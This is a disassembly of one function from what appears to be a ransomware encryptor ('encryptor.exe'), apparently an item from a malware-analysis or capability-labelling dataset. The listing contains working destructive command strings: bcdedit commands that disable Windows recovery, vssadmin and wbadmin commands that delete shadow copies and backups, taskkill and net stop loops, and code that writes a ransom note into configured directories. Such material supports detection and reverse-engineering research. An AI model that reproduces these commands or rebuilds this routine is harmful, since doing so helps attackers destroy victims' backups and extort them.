Function at 0x14000309c
Capabilities:
Clear windows event logs
Delete volume shadow copies
Disable automatic windows recovery features
Execute command
Write and execute a file
Write file on windows

Disassembly:
push rbp
push rbx
sub rsp, 0x898
lea rbp, [rsp + 0x80]
mov qword [rbp + 0x830], rcx
mov dword [rbp + 0x838], edx
mov qword [rbp + 0x7c8], 0
mov dword [rbp + 0x80c], 0
mov dword [rbp + 0x808], 0
mov dword [rbp + 0x804], 0
mov dword [rbp + 0x800], 0
mov qword [rbp + 0x7c0], 0
mov qword [rbp + 0x7b8], 0
mov dword [rbp + 0x7fc], 0
mov qword [rbp + 0x7b0], 0
mov dword [rbp + 0xc], 0
mov qword [rbp + 0x7a8], 0
mov qword [rbp + 0x7a0], 0
mov qword [rbp], 0
mov rax, qword [sym.imp.libglib_2.0_0.dll_g_win32_get_command_line]
call rax
mov qword [rbp + 0x798], rax
mov rax, qword [rbp + 0x798]
mov qword [rbp + 0x790], rax
mov rax, qword [rbp + 0x790]
mov qword [rbp + 0x7c8], rax
mov rax, qword [rbp + 0x798]
mov rcx, rax
call sym._vala_array_length
mov dword [rbp + 0x78c], eax
mov eax, dword [rbp + 0x78c]
mov dword [rbp + 0x788], eax
mov rax, qword [rbp + 0x7c8]
mov qword [rbp + 0x780], rax
mov eax, dword [rbp + 0x78c]
mov dword [rbp + 0x77c], eax
cmp dword [rbp + 0x77c], 2
jle 0x1400031b9
mov dword [rbp + 0x800], 1
jmp 0x14000320d
mov rax, qword [rbp + 0x7c8]
mov qword [rbp + 0x770], rax
mov eax, dword [rbp + 0x78c]
mov dword [rbp + 0x76c], eax
mov rax, qword [rbp + 0x770]
mov rax, qword [rax + 8]
mov qword [rbp + 0x760], rax
mov rax, qword [rbp + 0x760]
lea rdx, [0x140015154]
mov rcx, rax
mov rax, qword [sym.imp.libglib_2.0_0.dll_g_strcmp0]
call rax
test eax, eax
sete al
movzx eax, al
mov dword [rbp + 0x800], eax
cmp dword [rbp + 0x800], 0
je 0x140003222
mov dword [rbp + 0x804], 1
jmp 0x140003276
mov rax, qword [rbp + 0x7c8]
mov qword [rbp + 0x758], rax
mov eax, dword [rbp + 0x78c]
mov dword [rbp + 0x754], eax
mov rax, qword [rbp + 0x758]
mov rax, qword [rax + 8]
mov qword [rbp + 0x748], rax
mov rax, qword [rbp + 0x748]
lea rdx, str.__help
mov rcx, rax
mov rax, qword [sym.imp.libglib_2.0_0.dll_g_strcmp0]
call rax
test eax, eax
sete al
movzx eax, al
mov dword [rbp + 0x804], eax
cmp dword [rbp + 0x804], 0
je 0x14000328b
mov dword [rbp + 0x808], 1
jmp 0x1400032df
mov rax, qword [rbp + 0x7c8]
mov qword [rbp + 0x740], rax
mov eax, dword [rbp + 0x78c]
mov dword [rbp + 0x73c], eax
mov rax, qword [rbp + 0x740]
mov rax, qword [rax + 8]
mov qword [rbp + 0x730], rax
mov rax, qword [rbp + 0x730]
lea rdx, str._help
mov rcx, rax
mov rax, qword [sym.imp.libglib_2.0_0.dll_g_strcmp0]
call rax
test eax, eax
sete al
movzx eax, al
mov dword [rbp + 0x808], eax
cmp dword [rbp + 0x808], 0
je 0x1400032f4
mov dword [rbp + 0x80c], 1
jmp 0x140003348
mov rax, qword [rbp + 0x7c8]
mov qword [rbp + 0x728], rax
mov eax, dword [rbp + 0x78c]
mov dword [rbp + 0x724], eax
mov rax, qword [rbp + 0x728]
mov rax, qword [rax + 8]
mov qword [rbp + 0x718], rax
mov rax, qword [rbp + 0x718]
lea rdx, [0x140015164]
mov rcx, rax
mov rax, qword [sym.imp.libglib_2.0_0.dll_g_strcmp0]
call rax
test eax, eax
sete al
movzx eax, al
mov dword [rbp + 0x80c], eax
cmp dword [rbp + 0x80c], 0
je 0x140003481
mov ecx, 1
mov rax, qword [dbg.__acrt_iob_func]
call rax
mov qword [rbp + 0x108], rax
mov rax, qword [rbp + 0x108]
lea r8, str.Usage:_n
lea rdx, [0x14001516f]
mov rcx, rax
call sym.fprintf
mov ecx, 1
mov rax, qword [dbg.__acrt_iob_func]
call rax
mov qword [rbp + 0x100], rax
mov rax, qword [rbp + 0x100]
lea r8, str.__encryptor.exe_n
lea rdx, [0x14001516f]
mov rcx, rax
call sym.fprintf
mov ecx, 1
mov rax, qword [dbg.__acrt_iob_func]
call rax
mov qword [rbp + 0xf8], rax
mov rax, qword [rbp + 0xf8]
lea r8, str._tStarts_encryption_with_embedded_settings_n
lea rdx, [0x14001516f]
mov rcx, rax
call sym.fprintf
mov ecx, 1
mov rax, qword [dbg.__acrt_iob_func]
call rax
mov qword [rbp + 0xf0], rax
mov rax, qword [rbp + 0xf0]
lea r8, str.__encryptor.exe___full_path_of_directory_to_be_encrypted___n
lea rdx, [0x14001516f]
mov rcx, rax
call sym.fprintf
mov ecx, 1
mov rax, qword [dbg.__acrt_iob_func]
call rax
mov qword [rbp + 0xe8], rax
mov rax, qword [rbp + 0xe8]
lea r8, str._tEncrypts_all_files_in_the_provided_directory_n
lea rdx, [0x14001516f]
mov rcx, rax
call sym.fprintf
mov eax, dword [rbp + 0x78c]
movsxd rdx, eax
mov rcx, qword [sym.imp.libglib_2.0_0.dll_g_free]
mov rax, qword [rbp + 0x7c8]
mov r8, rcx
mov rcx, rax
call sym._vala_array_free
mov qword [rbp + 0x7c8], 0
jmp 0x140005233
mov rax, qword [sym.imp.libglib_2.0_0.dll_g_date_time_new_now_utc]
call rax
mov qword [rbp + 0x710], rax
mov rax, qword [rbp + 0x710]
mov qword [rbp + 0x7c0], rax
mov rax, qword [sym.imp.libglib_2.0_0.dll_g_date_time_new_now_utc]
call rax
mov qword [rbp + 0x708], rax
mov rax, qword [rbp + 0x708]
mov qword [0x14001a030], rax
mov rax, qword [rbp + 0x7c8]
mov qword [rbp + 0x700], rax
mov eax, dword [rbp + 0x78c]
mov dword [rbp + 0x6fc], eax
mov rax, qword [rbp + 0x700]
mov rax, qword [rax]
mov qword [rbp + 0x6f0], rax
mov rax, qword [rbp + 0x6f0]
mov rcx, rax
call sym.encryption_Initialize
mov rax, qword [rbp + 0x7c8]
mov qword [rbp + 0x6e8], rax
mov eax, dword [rbp + 0x78c]
mov dword [rbp + 0x6e4], eax
mov rax, qword [rbp + 0x6e8]
mov rax, qword [rax]
mov qword [rbp + 0x6d8], rax
mov rax, qword [rbp + 0x6d8]
mov rcx, rax
call sym.program_Initialize
mov qword [rbp + 0x6d0], rax
mov rax, qword [rbp + 0x6d0]
mov qword [rbp + 0x7b8], rax
mov rax, qword [rbp + 0x7c0]
mov qword [rbp + 0x6c8], rax
mov rax, qword [rbp + 0x7b8]
mov qword [rbp + 0x6c0], rax
mov rax, qword [rbp + 0x6c0]
mov rcx, rax
call sym.settings_get_MinDate
mov qword [rbp + 0x6b8], rax
mov rax, qword [rbp + 0x6b8]
mov qword [rbp + 0x6b0], rax
mov rax, qword [rbp + 0x6c8]
mov rcx, rax
mov rax, qword [sym.imp.libglib_2.0_0.dll_g_date_time_to_unix]
call rax
cmp qword [rbp + 0x6b0], rax
jle 0x1400035ae
mov dword [rbp + 0x7fc], 1
jmp 0x140003614
mov rax, qword [rbp + 0x7c0]
mov qword [rbp + 0x6a8], rax
mov rax, qword [rbp + 0x7b8]
mov qword [rbp + 0x6a0], rax
mov rax, qword [rbp + 0x6a0]
mov rcx, rax
call sym.settings_get_MaxDate
mov qword [rbp + 0x698], rax
mov rax, qword [rbp + 0x698]
mov qword [rbp + 0x690], rax
mov rax, qword [rbp + 0x6a8]
mov rcx, rax
mov rax, qword [sym.imp.libglib_2.0_0.dll_g_date_time_to_unix]
call rax
cmp qword [rbp + 0x690], rax
setl al
movzx eax, al
mov dword [rbp + 0x7fc], eax
cmp dword [rbp + 0x7fc], 0
je 0x1400036d5
mov ecx, 1
mov rax, qword [dbg.__acrt_iob_func]
call rax
mov qword [rbp + 0x110], rax
mov rax, qword [rbp + 0x110]
lea r8, str.Expired._n
lea rdx, [0x14001516f]
mov rcx, rax
call sym.fprintf
cmp qword [rbp + 0x7b8], 0
je 0x14000367b
mov rax, qword [rbp + 0x7b8]
mov rcx, rax
mov rax, qword [sym.imp.libgobject_2.0_0.dll_g_object_unref]
call rax
mov qword [rbp + 0x7b8], 0
cmp qword [rbp + 0x7c0], 0
je 0x1400036a3
mov rax, qword [rbp + 0x7c0]
mov rcx, rax
mov rax, qword [sym.imp.libglib_2.0_0.dll_g_date_time_unref]
call rax
mov qword [rbp + 0x7c0], 0
mov eax, dword [rbp + 0x78c]
movsxd rdx, eax
mov rcx, qword [sym.imp.libglib_2.0_0.dll_g_free]
mov rax, qword [rbp + 0x7c8]
mov r8, rcx
mov rcx, rax
call sym._vala_array_free
mov qword [rbp + 0x7c8], 0
jmp 0x140005233
mov rax, qword [rbp + 0x7c8]
mov qword [rbp + 0x688], rax
mov eax, dword [rbp + 0x78c]
mov dword [rbp + 0x684], eax
cmp dword [rbp + 0x684], 2
jne 0x14000380c
mov rax, qword [rbp + 0x7b8]
mov qword [rbp + 0x678], rax
mov rax, qword [rbp + 0x678]
mov edx, 1
mov rcx, rax
call sym.settings_set_IncludeDirectories
mov rax, qword [rbp + 0x7b8]
mov qword [rbp + 0x670], rax
mov rax, qword [rbp + 0x7c8]
mov qword [rbp + 0x668], rax
mov eax, dword [rbp + 0x78c]
mov dword [rbp + 0x664], eax
mov rax, qword [rbp + 0x668]
mov rax, qword [rax + 8]
mov qword [rbp + 0x658], rax
mov rax, qword [rbp + 0x658]
mov qword [rbp + 0xe0], rax
mov rax, qword [rbp + 0xe0]
mov rcx, rax
mov rax, qword [sym.imp.libglib_2.0_0.dll_g_strdup]
call rax
mov qword [rbp + 0x650], rax
mov edx, 8
mov ecx, 2
mov rax, qword [sym.imp.libglib_2.0_0.dll_g_malloc0_n]
call rax
mov qword [rbp + 0x648], rax
mov rax, qword [rbp + 0x648]
mov rdx, qword [rbp + 0x650]
mov qword [rax], rdx
mov rax, qword [rbp + 0x648]
mov qword [rbp + 0x640], rax
mov dword [rbp + 0x63c], 1
mov rdx, qword [rbp + 0x640]
mov rax, qword [rbp + 0x670]
mov r8d, 1
mov rcx, rax
call sym.settings_set_DirectorySet
mov eax, dword [rbp + 0x63c]
movsxd rdx, eax
mov rcx, qword [sym.imp.libglib_2.0_0.dll_g_free]
mov rax, qword [rbp + 0x640]
mov r8, rcx
mov rcx, rax
call sym._vala_array_free
mov qword [rbp + 0x640], 0
mov rax, qword [rbp + 0x7c8]
mov qword [rbp + 0x630], rax
mov eax, dword [rbp + 0x78c]
mov dword [rbp + 0x62c], eax
mov rax, qword [rbp + 0x630]
mov rax, qword [rax]
mov qword [rbp + 0x620], rax
lea rdx, [rbp + 0xc]
mov rax, qword [rbp + 0x620]
mov rcx, rax
call sym.program_GetNoteBytes
mov qword [rbp + 0x618], rax
mov rax, qword [rbp + 0x618]
mov qword [rbp + 0x7b0], rax
mov eax, dword [rbp + 0xc]
mov dword [rbp + 0x614], eax
mov eax, dword [rbp + 0x614]
mov dword [rbp + 0x610], eax
mov rax, qword [rbp + 0x7b8]
mov qword [rbp + 0x608], rax
mov rax, qword [rbp + 0x608]
mov rcx, rax
call sym.settings_get_IncludeExtensions
mov dword [rbp + 0x604], eax
mov eax, dword [rbp + 0x604]
mov dword [rbp + 0x600], eax
cmp dword [rbp + 0x600], 0
je 0x140003acb
mov dword [rbp - 4], 0
mov dword [rbp - 8], 0
mov dword [rbp - 0xc], 0
mov dword [rbp - 0x10], 0
mov dword [rbp - 0x14], 0
mov rax, qword [rbp + 0x7b8]
mov qword [rbp + 0x5c8], rax
mov rax, qword [rbp + 0x7b8]
mov qword [rbp + 0x5c0], rax
lea rdx, [rbp - 4]
mov rax, qword [rbp + 0x5c0]
mov rcx, rax
call sym.settings_get_FastSet
mov qword [rbp + 0x5b8], rax
mov eax, dword [rbp - 4]
mov dword [rbp + 0x5b4], eax
mov rax, qword [rbp + 0x5b8]
mov qword [rbp + 0x5a8], rax
mov eax, dword [rbp + 0x5b4]
mov dword [rbp + 0x5a4], eax
mov rax, qword [rbp + 0x7b8]
mov qword [rbp + 0x598], rax
lea rdx, [rbp - 8]
mov rax, qword [rbp + 0x598]
mov rcx, rax
call sym.settings_get_IntermittentSet
mov qword [rbp + 0x590], rax
mov eax, dword [rbp - 8]
mov dword [rbp + 0x58c], eax
mov rax, qword [rbp + 0x590]
mov qword [rbp + 0x580], rax
mov eax, dword [rbp + 0x58c]
mov dword [rbp + 0x57c], eax
mov r9d, dword [rbp + 0x57c]
mov r8, qword [rbp + 0x580]
mov edx, dword [rbp + 0x5a4]
mov rax, qword [rbp + 0x5a8]
lea rcx, [rbp - 0xc]
mov qword [rsp + 0x20], rcx
mov rcx, rax
call sym.program_Concatenate
mov qword [rbp + 0x570], rax
mov rax, qword [rbp + 0x570]
mov qword [rbp + 0x568], rax
mov eax, dword [rbp - 0xc]
mov dword [rbp + 0x564], eax
mov rax, qword [rbp + 0x7b8]
mov qword [rbp + 0x558], rax
lea rdx, [rbp - 0x10]
mov rax, qword [rbp + 0x558]
mov rcx, rax
call sym.settings_get_FullSet
mov qword [rbp + 0x550], rax
mov eax, dword [rbp - 0x10]
mov dword [rbp + 0x54c], eax
mov rax, qword [rbp + 0x550]
mov qword [rbp + 0x540], rax
mov eax, dword [rbp + 0x54c]
mov dword [rbp + 0x53c], eax
mov edx, dword [rbp - 0xc]
mov r9d, dword [rbp + 0x53c]
mov r8, qword [rbp + 0x540]
mov rax, qword [rbp + 0x568]
lea rcx, [rbp - 0x14]
mov qword [rsp + 0x20], rcx
mov rcx, rax
call sym.program_Concatenate
mov qword [rbp + 0x530], rax
mov rax, qword [rbp + 0x530]
mov qword [rbp + 0x528], rax
mov eax, dword [rbp - 0x14]
mov dword [rbp + 0x524], eax
mov ecx, dword [rbp - 0x14]
mov rdx, qword [rbp + 0x528]
mov rax, qword [rbp + 0x5c8]
mov r8d, ecx
mov rcx, rax
call sym.settings_set_ExtensionsSet
mov eax, dword [rbp + 0x524]
movsxd rdx, eax
mov rcx, qword [sym.imp.libglib_2.0_0.dll_g_free]
mov rax, qword [rbp + 0x528]
mov r8, rcx
mov rcx, rax
call sym._vala_array_free
mov qword [rbp + 0x528], 0
mov eax, dword [rbp + 0x564]
movsxd rdx, eax
mov rcx, qword [sym.imp.libglib_2.0_0.dll_g_free]
mov rax, qword [rbp + 0x568]
mov r8, rcx
mov rcx, rax
call sym._vala_array_free
mov qword [rbp + 0x568], 0
jmp 0x140003b4a
mov dword [rbp - 0x18], 0
mov rax, qword [rbp + 0x7b8]
mov qword [rbp + 0x5f8], rax
mov rax, qword [rbp + 0x7b8]
mov qword [rbp + 0x5f0], rax
lea rdx, [rbp - 0x18]
mov rax, qword [rbp + 0x5f0]
mov rcx, rax
call sym.settings_get_NoneSet
mov qword [rbp + 0x5e8], rax
mov eax, dword [rbp - 0x18]
mov dword [rbp + 0x5e4], eax
mov rax, qword [rbp + 0x5e8]
mov qword [rbp + 0x5d8], rax
mov eax, dword [rbp + 0x5e4]
mov dword [rbp + 0x5d4], eax
mov ecx, dword [rbp + 0x5d4]
mov rdx, qword [rbp + 0x5d8]
mov rax, qword [rbp + 0x5f8]
mov r8d, ecx
mov rcx, rax
call sym.settings_set_ExtensionsSet
mov rax, qword [rbp + 0x7b8]
mov qword [rbp + 0x518], rax
mov rax, qword [rbp + 0x518]
mov rcx, rax
call sym.settings_get_IncludeExtensions
mov dword [rbp + 0x514], eax
mov eax, dword [rbp + 0x514]
mov dword [rbp + 0x510], eax
cmp dword [rbp + 0x510], 0
je 0x140003be8
mov rax, qword [0x14001a048]
test rax, rax
je 0x140003ba1
mov rdx, qword [0x14001a048]
mov rax, qword [0x14001a040]
mov rcx, rax
call rdx
mov qword [0x14001a038], 0
mov qword [0x14001a040], 0
mov qword [0x14001a048], 0
lea rax, [sym.____lambda4__program_encrypt]
mov qword [0x14001a038], rax
mov qword [0x14001a040], 0
mov qword [0x14001a048], 0
jmp 0x140003c4c
mov rax, qword [0x14001a048]
test rax, rax
je 0x140003c07
mov rdx, qword [0x14001a048]
mov rax, qword [0x14001a040]
mov rcx, rax
call rdx
mov qword [0x14001a038], 0
mov qword [0x14001a040], 0
mov qword [0x14001a048], 0
lea rax, [sym.____lambda5__program_encrypt]
mov qword [0x14001a038], rax
mov qword [0x14001a040], 0
mov qword [0x14001a048], 0
lea rax, str.cmd__c__bcdedit__set_current_recoveryenabled_no_
mov rcx, rax
call sym.system
lea rax, str.cmd__c__bcdedit__set_default_recoveryenabled_no_
mov rcx, rax
call sym.system
lea rax, str.cmd__c__bcdedit__set_current_bootstatuspolicy_ignoreallfailures_
mov rcx, rax
call sym.system
lea rax, str.cmd__c__bcdedit__set_default_bootstatuspolicy_ignoreallfailures_
mov rcx, rax
call sym.system
mov rax, qword [rbp + 0x7b8]
mov qword [rbp + 0x508], rax
mov rax, qword [rbp + 0x508]
mov rcx, rax
call sym.settings_get_DeleteSystemRestorePoints
mov dword [rbp + 0x504], eax
mov eax, dword [rbp + 0x504]
mov dword [rbp + 0x500], eax
cmp dword [rbp + 0x500], 0
je 0x140003cde
lea rax, str.cmd__c__vssadmin_Delete_Shadows__All__Quiet_
mov rcx, rax
call sym.system
lea rax, str.cmd__c__wbadmin_DELETE_BACKUP__keepVersions:0__quiet_
mov rcx, rax
call sym.system
mov rax, qword [rbp + 0x7b8]
mov qword [rbp + 0x4f8], rax
mov rax, qword [rbp + 0x4f8]
mov rcx, rax
call sym.settings_get_StopProcesses
mov dword [rbp + 0x4f4], eax
mov eax, dword [rbp + 0x4f4]
mov dword [rbp + 0x4f0], eax
cmp dword [rbp + 0x4f0], 0
je 0x140003eca
mov dword [rbp + 0x7f8], 0
mov dword [rbp + 0x7f8], 0
mov dword [rbp + 0x7f4], 0
mov dword [rbp + 0x7f4], 1
mov dword [rbp - 0x1c], 0
mov dword [rbp - 0x20], 0
cmp dword [rbp + 0x7f4], 0
jne 0x140003d6c
add dword [rbp + 0x7f8], 1
mov eax, dword [rbp + 0x7f8]
mov dword [rbp + 0x4ec], eax
mov dword [rbp + 0x7f4], 0
mov rax, qword [rbp + 0x7b8]
mov qword [rbp + 0x4e0], rax
lea rdx, [rbp - 0x1c]
mov rax, qword [rbp + 0x4e0]
mov rcx, rax
call sym.settings_get_ProcessesToStop
mov qword [rbp + 0x4d8], rax
mov eax, dword [rbp - 0x1c]
mov dword [rbp + 0x4d4], eax
mov rax, qword [rbp + 0x4d8]
mov qword [rbp + 0x4c8], rax
mov eax, dword [rbp + 0x4d4]
mov dword [rbp + 0x4c4], eax
mov eax, dword [rbp + 0x7f8]
cmp eax, dword [rbp + 0x4c4]
jge 0x140003ec9
mov rax, qword [rbp + 0x7b8]
mov qword [rbp + 0x4b8], rax
lea rdx, [rbp - 0x20]
mov rax, qword [rbp + 0x4b8]
mov rcx, rax
call sym.settings_get_ProcessesToStop
mov qword [rbp + 0x4b0], rax
mov eax, dword [rbp - 0x20]
mov dword [rbp + 0x4ac], eax
mov rax, qword [rbp + 0x4b0]
mov qword [rbp + 0x4a0], rax
mov eax, dword [rbp + 0x4ac]
mov dword [rbp + 0x49c], eax
mov eax, dword [rbp + 0x7f8]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x4a0]
add rax, rdx
mov rax, qword [rax]
mov qword [rbp + 0x490], rax
mov rax, qword [rbp + 0x490]
mov rcx, rax
call sym.string_to_string
mov qword [rbp + 0x488], rax
mov rax, qword [rbp + 0x488]
mov r9d, 0
lea r8, [0x14001539e]
mov rdx, rax
lea rax, str.cmd__c__taskkill__F__IM
mov rcx, rax
mov rax, qword [sym.imp.libglib_2.0_0.dll_g_strconcat]
call rax
mov qword [rbp + 0x480], rax
mov rax, qword [rbp + 0x480]
mov qword [rbp + 0x478], rax
mov rax, qword [rbp + 0x478]
mov rcx, rax
call sym.system
mov rax, qword [rbp + 0x478]
mov rcx, rax
mov rax, qword [sym.imp.libglib_2.0_0.dll_g_free]
call rax
mov qword [rbp + 0x478], 0
jmp 0x140003d42
nop
mov rax, qword [rbp + 0x7b8]
mov qword [rbp + 0x470], rax
mov rax, qword [rbp + 0x470]
mov rcx, rax
call sym.settings_get_StopServices
mov dword [rbp + 0x46c], eax
mov eax, dword [rbp + 0x46c]
mov dword [rbp + 0x468], eax
cmp dword [rbp + 0x468], 0
je 0x140003fc9
mov dword [rbp + 0x7f0], 0
mov dword [rbp + 0x7f0], 0
mov dword [rbp + 0x7ec], 0
mov dword [rbp + 0x7ec], 1
mov dword [rbp - 0x24], 0
cmp dword [rbp + 0x7ec], 0
jne 0x140003f51
add dword [rbp + 0x7f0], 1
mov eax, dword [rbp + 0x7f0]
mov dword [rbp + 0x464], eax
mov dword [rbp + 0x7ec], 0
mov rax, qword [rbp + 0x7b8]
mov qword [rbp + 0x458], rax
lea rdx, [rbp - 0x24]
mov rax, qword [rbp + 0x458]
mov rcx, rax
call sym.settings_get_ServicesToStop
mov qword [rbp + 0x450], rax
mov eax, dword [rbp - 0x24]
mov dword [rbp + 0x44c], eax
mov rax, qword [rbp + 0x450]
mov qword [rbp + 0x440], rax
mov eax, dword [rbp + 0x44c]
mov dword [rbp + 0x43c], eax
mov eax, dword [rbp + 0x7f0]
cmp eax, dword [rbp + 0x43c]
jge 0x140003fc8
lea rax, str.cmd__c_net_stop__service_name___y
mov rcx, rax
call sym.system
jmp 0x140003f2e
nop
mov rax, qword [rbp + 0x7b8]
mov qword [rbp + 0x430], rax
mov rax, qword [rbp + 0x430]
mov rcx, rax
call sym.settings_get_DropNoteInSpecificDirectories
mov dword [rbp + 0x42c], eax
mov eax, dword [rbp + 0x42c]
mov dword [rbp + 0x428], eax
cmp dword [rbp + 0x428], 0
je 0x140004642
mov dword [rbp + 0x7e8], 0
mov dword [rbp + 0x7e8], 0
mov dword [rbp + 0x7e4], 0
mov dword [rbp + 0x7e4], 1
mov dword [rbp - 0x28], 0
mov qword [rbp + 0x420], 0
mov dword [rbp - 0x2c], 0
cmp dword [rbp + 0x7e4], 0
jne 0x140004062
add dword [rbp + 0x7e8], 1
mov eax, dword [rbp + 0x7e8]
mov dword [rbp + 0x41c], eax
mov dword [rbp + 0x7e4], 0
mov rax, qword [rbp + 0x7b8]
mov qword [rbp + 0x410], rax
lea rdx, [rbp - 0x28]
mov rax, qword [rbp + 0x410]
mov rcx, rax
call sym.settings_get_DirectoriesToDropNoteIn
mov qword [rbp + 0x408], rax
mov eax, dword [rbp - 0x28]
mov dword [rbp + 0x404], eax
mov rax, qword [rbp + 0x408]
mov qword [rbp + 0x3f8], rax
mov eax, dword [rbp + 0x404]
mov dword [rbp + 0x3f4], eax
mov eax, dword [rbp + 0x7e8]
cmp eax, dword [rbp + 0x3f4]
jge 0x140004641
mov rax, qword [rbp + 0x7b8]
mov qword [rbp + 0x3e8], rax
lea rdx, [rbp - 0x2c]
mov rax, qword [rbp + 0x3e8]
mov rcx, rax
call sym.settings_get_DirectoriesToDropNoteIn
mov qword [rbp + 0x3e0], rax
mov eax, dword [rbp - 0x2c]
mov dword [rbp + 0x3dc], eax
mov rax, qword [rbp + 0x3e0]
mov qword [rbp + 0x3d0], rax
mov eax, dword [rbp + 0x3dc]
mov dword [rbp + 0x3cc], eax
mov eax, dword [rbp + 0x7e8]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x3d0]
add rax, rdx
mov rax, qword [rax]
mov qword [rbp + 0x3c0], rax
mov rax, qword [rbp + 0x7b8]
mov qword [rbp + 0x3b8], rax
mov rax, qword [rbp + 0x3b8]
mov rcx, rax
call sym.settings_get_NoteFilename
mov qword [rbp + 0x3b0], rax
mov rax, qword [rbp + 0x3b0]
mov qword [rbp + 0x3a8], rax
mov rdx, qword [rbp + 0x3a8]
mov rax, qword [rbp + 0x3c0]
mov r8d, 0
mov rcx, rax
mov rax, qword [sym.imp.libglib_2.0_0.dll_g_build_filename]
call rax
mov qword [rbp + 0x3a0], rax
mov rax, qword [rbp + 0x3a0]
mov qword [rbp + 0x420], rax
mov rax, qword [rbp + 0x420]
mov qword [rbp + 0x398], rax
mov rax, qword [rbp + 0x398]
mov edx, 0x10
mov rcx, rax
mov rax, qword [sym.imp.libglib_2.0_0.dll_g_file_test]
call rax
test eax, eax
jne 0x14000461e
mov qword [rbp + 0x390], 0
mov rax, qword [rbp + 0x420]
mov qword [rbp + 0x388], rax
mov rax, qword [rbp + 0x388]
lea rdx, [0x140015140]
mov rcx, rax
mov rax, qword [sym.imp.libglib_2.0_0.dll_g_fopen]
call rax
mov qword [rbp + 0x380], rax
mov rax, qword [rbp + 0x380]
mov qword [rbp + 0x390], rax
mov rax, qword [rbp + 0x390]
mov qword [rbp + 0x378], rax
cmp qword [rbp + 0x378], 0
jne 0x140004445
mov rax, qword [rbp + 0x420]
mov qword [rbp + 0x350], rax
mov rax, qword [rbp + 0x350]
mov rcx, rax
call sym.string_to_string
mov qword [rbp + 0x348], rax
mov rax, qword [rbp + 0x348]
mov r8d, 0
mov rdx, rax
lea rax, str.____Could_not_create
mov rcx, rax
mov rax, qword [sym.imp.libglib_2.0_0.dll_g_strconcat]
call rax
mov qword [rbp + 0x340], rax
mov rax, qword [rbp + 0x340]
mov qword [rbp + 0x338], rax
call sym.error_type_quark
mov rdx, qword [rbp + 0x338]
mov r8, rdx
mov edx, 0
mov ecx, eax
mov rax, qword [sym.imp.libglib_2.0_0.dll_g_error_new_literal]
call rax
mov qword [rbp + 0x330], rax
mov rax, qword [rbp + 0x330]
mov qword [rbp + 0x328], rax
mov rax, qword [rbp + 0x338]
mov rcx, rax
mov rax, qword [sym.imp.libglib_2.0_0.dll_g_free]
call rax
mov qword [rbp + 0x338], 0
mov rax, qword [rbp + 0x328]
mov qword [rbp], rax
cmp qword [rbp + 0x390], 0
je 0x14000430e
mov rax, qword [rbp + 0x390]
mov rcx, rax
call sym.fclose
mov qword [rbp + 0x390], 0
mov rax, qword [rbp]
mov ebx, dword [rax]
call sym.error_type_quark
cmp ebx, eax
je 0x1400044da
mov rax, qword [rbp + 0x420]
mov rcx, rax
mov rax, qword [sym.imp.libglib_2.0_0.dll_g_free]
call rax
mov qword [rbp + 0x420], 0
mov rax, qword [rbp + 0x7b0]
mov rcx, rax
mov rax, qword [sym.imp.libglib_2.0_0.dll_g_free]
call rax
mov qword [rbp + 0x7b0], 0
cmp qword [rbp + 0x7b8], 0
je 0x140004385
mov rax, qword [rbp + 0x7b8]
mov rcx, rax
mov rax, qword [sym.imp.libgobject_2.0_0.dll_g_object_unref]
call rax
mov qword [rbp + 0x7b8], 0
cmp qword [rbp + 0x7c0], 0
je 0x1400043ad
mov rax, qword [rbp + 0x7c0]
mov rcx, rax
mov rax, qword [sym.imp.libglib_2.0_0.dll_g_date_time_unref]
call rax
mov qword [rbp + 0x7c0], 0
mov eax, dword [rbp + 0x78c]
movsxd rdx, eax
mov rcx, qword [sym.imp.libglib_2.0_0.dll_g_free]
mov rax, qword [rbp + 0x7c8]
mov r8, rcx
mov rcx, rax
call sym._vala_array_free
mov qword [rbp + 0x7c8], 0
mov rax, qword [rbp]
mov ebx, dword [rax + 4]
mov rax, qword [rbp]
mov eax, dword [rax]
mov ecx, eax
mov rax, qword [sym.imp.libglib_2.0_0.dll_g_quark_to_string]
call rax
mov rdx, qword [rbp]
mov rdx, qword [rdx + 8]
mov dword [rsp + 0x38], ebx
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x28], rdx
mov dword [rsp + 0x20], 0x55d
lea r9, str.C:_msys64_home_poco_main.vala.c
lea r8, str.file__s:_line__d:_unexpected_error:__s___s___d_
mov edx, 8
mov ecx, 0
mov rax, qword [sym.imp.libglib_2.0_0.dll_g_log]
call rax
mov rax, rbp
mov rcx, rax
mov rax, qword [sym.imp.libglib_2.0_0.dll_g_clear_error]
call rax
jmp 0x140005233
mov rax, qword [rbp + 0x390]
mov qword [rbp + 0x370], rax
mov rax, qword [rbp + 0x7b0]
mov qword [rbp + 0x368], rax
mov eax, dword [rbp + 0x614]
mov dword [rbp + 0x364], eax
mov eax, dword [rbp + 0x364]
movsxd rdx, eax
mov rcx, qword [rbp + 0x370]
mov rax, qword [rbp + 0x368]
mov r9, rcx
mov r8, rdx
mov edx, 1
mov rcx, rax
call sym.fwrite
mov rax, qword [rbp + 0x390]
mov qword [rbp + 0x358], rax
mov rax, qword [rbp + 0x358]
mov rcx, rax
call sym.fflush
cmp qword [rbp + 0x390], 0
je 0x1400044ec
mov rax, qword [rbp + 0x390]
mov rcx, rax
call sym.fclose
mov qword [rbp + 0x390], 0
jmp 0x1400044ec
nop
mov rax, rbp
mov rcx, rax
mov rax, qword [sym.imp.libglib_2.0_0.dll_g_clear_error]
call rax
jmp 0x1400044ed
nop
mov rax, qword [rbp]
test rax, rax
je 0x14000461e
mov rax, qword [rbp + 0x420]
mov rcx, rax
mov rax, qword [sym.imp.libglib_2.0_0.dll_g_free]
call rax
mov qword [rbp + 0x420], 0
mov rax, qword [rbp + 0x7b0]
mov rcx, rax
mov rax, qword [sym.imp.libglib_2.0_0.dll_g_free]
call rax
mov qword [rbp + 0x7b0], 0
cmp qword [rbp + 0x7b8], 0
je 0x14000455e
mov rax, qword [rbp + 0x7b8]
mov rcx, rax
mov rax, qword [sym.imp.libgobject_2.0_0.dll_g_object_unref]
call rax
mov qword [rbp + 0x7b8], 0
cmp qword [rbp + 0x7c0], 0
je 0x140004586
mov rax, qword [rbp + 0x7c0]
mov rcx, rax
mov rax, qword [sym.imp.libglib_2.0_0.dll_g_date_time_unref]
call rax
mov qword [rbp + 0x7c0], 0
mov eax, dword [rbp + 0x78c]
movsxd rdx, eax
mov rcx, qword [sym.imp.libglib_2.0_0.dll_g_free]
mov rax, qword [rbp + 0x7c8]
mov r8, rcx
mov rcx, rax
